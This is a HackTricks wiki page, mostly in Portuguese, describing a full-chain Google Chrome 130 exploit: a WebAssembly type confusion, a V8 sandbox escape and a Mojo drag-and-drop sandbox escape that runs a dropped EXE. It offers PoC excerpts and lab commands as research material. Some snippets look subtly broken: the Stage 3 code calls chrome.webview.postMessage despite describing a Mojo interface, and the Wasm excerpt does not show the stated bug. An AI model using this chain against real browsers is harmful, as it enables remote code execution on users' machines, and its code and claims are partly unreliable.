Chrome Exploiting
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Esta página fornece uma visão geral de alto nível, porém prática, de um fluxo de trabalho “full-chain” de exploração moderno contra o Google Chrome 130 com base na série de pesquisa “101 Chrome Exploitation” (Part-0 — Prefácio). O objetivo é dar a pentesters e exploit-developers o background mínimo necessário para reproduzir ou adaptar as técnicas para sua própria pesquisa.
1. Recapitulação da Arquitetura do Chrome
Entender a superfície de ataque requer saber onde o código é executado e quais sandboxes se aplicam.
Layout de processos do Chrome & sandbox
```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```Defesa em profundidade em camadas:
- V8 sandbox (Isolate): as permissões de memória são restritas para impedir leituras/escritas arbitrárias de JITed JS / Wasm.
- Renderer ↔ Browser split garantida via passagem de mensagens Mojo/IPC; o renderer não tem nenhum acesso nativo a FS/network.
- OS sandboxes contêm adicionalmente cada processo (Windows Integrity Levels /
seccomp-bpf/ macOS sandbox profiles).
Um atacante remoto precisa, portanto, de três primitivas sucessivas:
- Corrupção de memória dentro do V8 para obter RW arbitrário dentro do heap do V8.
- Um segundo bug permitindo ao atacante escapar do V8 sandbox para a memória completa do renderer.
- Uma fuga final do sandbox (frequentemente lógica em vez de corrupção de memória) para executar código fora do Chrome OS sandbox.
2. Estágio 1 – WebAssembly Type-Confusion (CVE-2025-0291)
Uma falha na optimização Turboshaft do TurboFan classifica incorretamente os WasmGC reference types quando o valor é produzido e consumido dentro de um single basic block loop.
Efeito:
- O compilador pula a verificação de tipo, tratando uma referência (
externref/anyref) como um int64. - Wasm especialmente criado permite sobrepor o cabeçalho de um objeto JS com dados controlados pelo atacante →
addrOf()&fakeObj()primitivas AAW / AAR.
Minimal PoC (excerpt):
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
Trigger optimisation & spray objects a partir de JS:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Resultado: arbitrary read/write within V8.
3. Fase 2 – Escaping the V8 Sandbox (issue 379140430)
Quando uma função Wasm é tier-up-compiled, um JS ↔ Wasm wrapper é gerado. Um signature-mismatch bug faz com que o wrapper escreva além do fim de um objeto confiável Tuple2 quando a função Wasm é re-otimizada enquanto ainda está na stack.
Sobrescrever os 2 × 64-bit fields do objeto Tuple2 produz read/write on any address inside the Renderer process, efetivamente contornando o V8 sandbox.
Passos principais no exploit:
- Colocar a função em estado Tier-Up alternando código turbofan/baseline.
- Disparar tier-up mantendo uma referência na stack (
Function.prototype.apply). - Usar Stage-1 AAR/AAW para localizar e corromper o
Tuple2adjacente.
Identificação do wrapper:
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
Após a corrupção possuímos um renderer R/W primitive totalmente funcional.
4. Etapa 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
A interface IPC Mojo blink.mojom.DragService.startDragging() pode ser chamada a partir do Renderer com parâmetros parcialmente confiáveis. Ao forjar uma estrutura DragData apontando para um caminho de arquivo arbitrário, o renderer convence o navegador a realizar um arrastar e soltar nativo fora da renderer sandbox.
Abusando disso, podemos ‘arrastar’ programaticamente um EXE malicioso (previamente deixado em um local com permissão de escrita global) para a Área de Trabalho, onde o Windows executa automaticamente certos tipos de arquivo ao serem soltos.
Exemplo (simplificado):
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
Nenhuma corrupção adicional de memória é necessária – a falha lógica nos dá execução arbitrária de arquivos com os privilégios do usuário.
5. Fluxo Completo da Cadeia
- Usuário visita página maliciosa.
- Etapa 1: módulo Wasm abusa de CVE-2025-0291 → V8 heap AAR/AAW.
- Etapa 2: Wrapper mismatch corrompe
Tuple2→ escape V8 sandbox. - Etapa 3:
startDragging()IPC → escape OS sandbox & executar payload.
Resultado: Remote Code Execution (RCE) no host (Chrome 130, Windows/Linux/macOS).
6. Configuração do Lab & Depuração
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Flags úteis ao lançar uma versão de desenvolvimento do Chrome:
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
7. Renderer → recurso de escape para o kernel
When a renderer exploit needs a kernel pivot that stays inside the seccomp profile, abusing AF_UNIX MSG_OOB sockets still reachable inside the sandbox provides a deterministic path. Check the Linux kernel exploitation case-study below for the SKB UAF → kernel RCE chain:
Af Unix Msg Oob Uaf Skb Primitives
Conclusões
- WebAssembly JIT bugs continuam sendo um ponto de entrada confiável — o sistema de tipos ainda é jovem.
- Obter um segundo memory-corruption bug dentro do V8 (por exemplo, wrapper mismatch) simplifica muito a V8-sandbox escape.
- Fraquezas a nível lógico em interfaces Mojo IPC privilegiadas costumam ser suficientes para um final sandbox escape — fique atento a bugs non-memory.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


